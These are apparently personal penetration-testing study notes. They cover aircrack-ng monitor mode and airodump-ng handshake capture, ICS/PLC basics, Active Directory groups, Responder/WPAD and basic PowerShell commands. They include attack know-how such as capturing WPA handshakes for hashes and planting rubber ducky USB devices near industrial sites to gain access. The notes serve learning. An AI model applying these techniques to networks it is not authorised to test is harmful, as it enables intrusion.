* airdecloak-ng
* airolib-ng
* airserv-ng
* buddy-ng
* ivstools
* easside-ng
* tkiptun-ng
* wesside-ng

Putting “wlan0” into monitor mode:

* “airmon-ng start wlan0 (Or any network interface)”
  + After enabling, new interface name is “wlan0mon”

If other processes are currently trying to use that networking adapter:

* “airmon-ng check kill”

To create a packet capture:

* “airodump-ng”
  + By default, airodump-ng only captures 2.4GHz networks.
  + Use ‘—bssid’ to set the BSSID to monitor.
  + Use ‘—channel’ to switch the monitored channel.
  + Use ‘-w’ to write the output to a file.

If you can capture the handshake that the client (individual) initiates with the server (network), you can receive the hash for that network. Airodump can do this.

ICS/SCADA

ICS – Industrial Control Systems

* Essentially what powers a lot of industries that utilize operational technology, such as air, rail, energy production, prisons, ETC.

PLCs – Programmable Logic Controllers

* What ICS runs on.
* They do a lot of simple tasks and are simple computers.
* Allow the operators to do certain things such as open doors, close doors, etc.
* Probably out of scope: Rubber duckies can be used to gain initial access into an ICS system as an example.
  + Rubber duckies (as noted in the Social Eng doc) are essentially just thumbdrives that host malware.
  + When a rubber duckie is inserted into a computer, it is recognized as a KEYBOARD. This allows it to use various keystrokes that it needs to do for its exploit.
  + Exploits in rubber duckies can be anything, such as recording the camera of a computer, keylogging to capture passwords, generating backdoors, etc.
  + For the social engineering aspect, leaving the rubber duckies around an area nearby the ICS physical infrastructure in hopes that an employee finds one and inserts it into a machine on the internal network.

ACTIVE DIRECTORY

At its barebones, Active Directory utilizes a Windows domain.

* A Windows domain is essentially a group of users and computers under the administration of a given business.
* The main idea of this is a single repository with a centralized platform for different Windows computer components. This is Active Directory.
* The server that runs the Active Directory service is known as the Domain Controller.

Advantages of having a configured Windows domain

Centralized identity management – All users across the network can be configured from Active Directory with minimum effort.

Managing security policies – You can configure security policies directly from Active Directory and apply them to users and computers across the network as needed.

**Security Groups**

Domain Admins: Users of this group have administrative privileges over the entire domain. By default, they can administer any computer on the domain, including the DCs.

Server Operators: Users in this group can administer Domain Controllers. They cannot change any administrative group memberships.

Backup Operators: Users in this group are allowed to access any file, ignoring their permissions. They are used to perform backups of data on computers.

Account Operators: Users in this group can create or modify other accounts in the domain.

Domain Users: Includes all existing user accounts in the domain.

Domain Computers: Includes all existing computers in the domain.

Domain Controllers: Includes all existing DCs on the domain.

Responder

* By default, Windows is configured to search for a Proxy Auto Config (PAC) file, via the Web Proxy Auto-Discovery (WPAD).

POWERSHELL SHIZ

Default PowerShell locations:

“C:\windows\syswow64\windowspowershell\v1.0\powershell”

“C:\Windows\System32\WindowsPowerShell\v1.0\powershell”

Some basic PowerShell commands:

* Get-Help \* #List everything loaded
* Get-Help process #List everything containing "process"
* Get-Help Get-Item -Full #Get full help about a topic
* Get-Help Get-Item -Examples #List examples
* Import-Module <modulepath>
* Get-Command -Module <modulename>
  + Get-Command allows you to view a list of every Powershell cmdlet
  + Get-Command Get-\*